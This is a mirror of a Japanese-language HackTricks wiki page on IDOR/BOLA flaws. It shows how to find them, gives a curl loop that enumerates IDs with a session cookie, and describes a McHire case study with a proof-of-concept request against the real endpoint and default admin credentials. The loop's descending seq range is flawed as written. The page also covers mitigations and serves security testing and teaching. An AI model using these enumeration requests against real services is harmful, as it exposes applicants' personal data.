mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
86 lines
5.3 KiB
Markdown
86 lines
5.3 KiB
Markdown
# IDOR (Insecure Direct Object Reference)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、**直接的に**内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。**呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに**。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。
|
||
|
||
---
|
||
## 1. 潜在的なIDORの特定
|
||
|
||
1. **オブジェクトを参照するパラメータ**を探します:
|
||
* パス: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||
* クエリ: `?id=42`, `?invoice=2024-00001`
|
||
* ボディ / JSON: `{"user_id": 321, "order_id": 987}`
|
||
* ヘッダー / クッキー: `X-Client-ID: 4711`
|
||
2. データを**読み取るまたは更新する**エンドポイントを優先します(`GET`, `PUT`, `PATCH`, `DELETE`)。
|
||
3. 識別子が**連続的または予測可能**である場合に注意します – あなたのIDが`64185742`であれば、`64185741`はおそらく存在します。
|
||
4. 追加のAPIを露出させる可能性のある隠れたまたは代替のフロー(例: ログインページの*"Paradox team members"*リンク)を探ります。
|
||
5. **認証された低特権セッション**を使用し、同じトークン/クッキーを保持しながらIDのみを変更します。認可エラーがないことは通常、IDORの兆候です。
|
||
|
||
### クイック手動改ざん (Burp Repeater)
|
||
```
|
||
PUT /api/lead/cem-xhr HTTP/1.1
|
||
Host: www.example.com
|
||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||
Content-Type: application/json
|
||
|
||
{"lead_id":64185741}
|
||
```
|
||
### 自動列挙 (Burp Intruder / curl ループ)
|
||
```bash
|
||
for id in $(seq 64185742 64185700); do
|
||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-H "Cookie: auth=$TOKEN" \
|
||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||
done
|
||
```
|
||
---
|
||
## 2. 実世界のケーススタディ – McHire チャットボットプラットフォーム (2025)
|
||
|
||
Paradox.aiを利用した**McHire**採用ポータルの評価中に、以下のIDORが発見されました:
|
||
|
||
* エンドポイント: `PUT /api/lead/cem-xhr`
|
||
* 認証: **任意の**レストランテストアカウントのユーザーセッションクッキー
|
||
* ボディパラメータ: `{"lead_id": N}` – 8桁の**連続した**数値識別子
|
||
|
||
`lead_id`を減少させることで、テスターは任意の応募者の**完全なPII**(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者**JWT**を取得しました。範囲`1 – 64,185,742`の列挙により、約**6400万**件のレコードが露出しました。
|
||
|
||
概念実証リクエスト:
|
||
```bash
|
||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||
-H 'Content-Type: application/json' \
|
||
-d '{"lead_id":64185741}'
|
||
```
|
||
**デフォルトの管理者資格情報** (`123456:123456`) と組み合わせることで、テストアカウントへのアクセスが許可され、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。
|
||
|
||
---
|
||
## 3. IDOR / BOLAの影響
|
||
* 水平的エスカレーション – **他のユーザーの**データを読み取り/更新/削除。
|
||
* 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得。
|
||
* 識別子が連続している場合(例:応募者ID、請求書)に大規模なデータ漏洩。
|
||
* トークンを盗むか、他のユーザーのパスワードをリセットすることでアカウントを乗っ取る。
|
||
|
||
---
|
||
## 4. 緩和策とベストプラクティス
|
||
1. **オブジェクトレベルの認可**をすべてのリクエストに強制する (`user_id == session.user`)。
|
||
2. 自動インクリメントIDの代わりに**間接的で推測不可能な識別子**(UUIDv4、ULID)を好む。
|
||
3. 認可を**サーバーサイド**で実行し、隠しフォームフィールドやUIコントロールに依存しない。
|
||
4. 中央ミドルウェアで**RBAC / ABAC**チェックを実装する。
|
||
5. IDの列挙を検出するために**レート制限とログ記録**を追加する。
|
||
6. 新しいエンドポイントごとにセキュリティテストを実施する(ユニット、統合、DAST)。
|
||
|
||
---
|
||
## 5. ツール
|
||
* **BurpSuite拡張機能**: Authorize, Auto Repeater, Turbo Intruder.
|
||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||
* **Githubプロジェクト**: `bwapp-idor-scanner`, `Blindy`(バルクIDORハンティング)。
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## 参考文献
|
||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||
{{#include /banners/hacktricks-training.md}}
|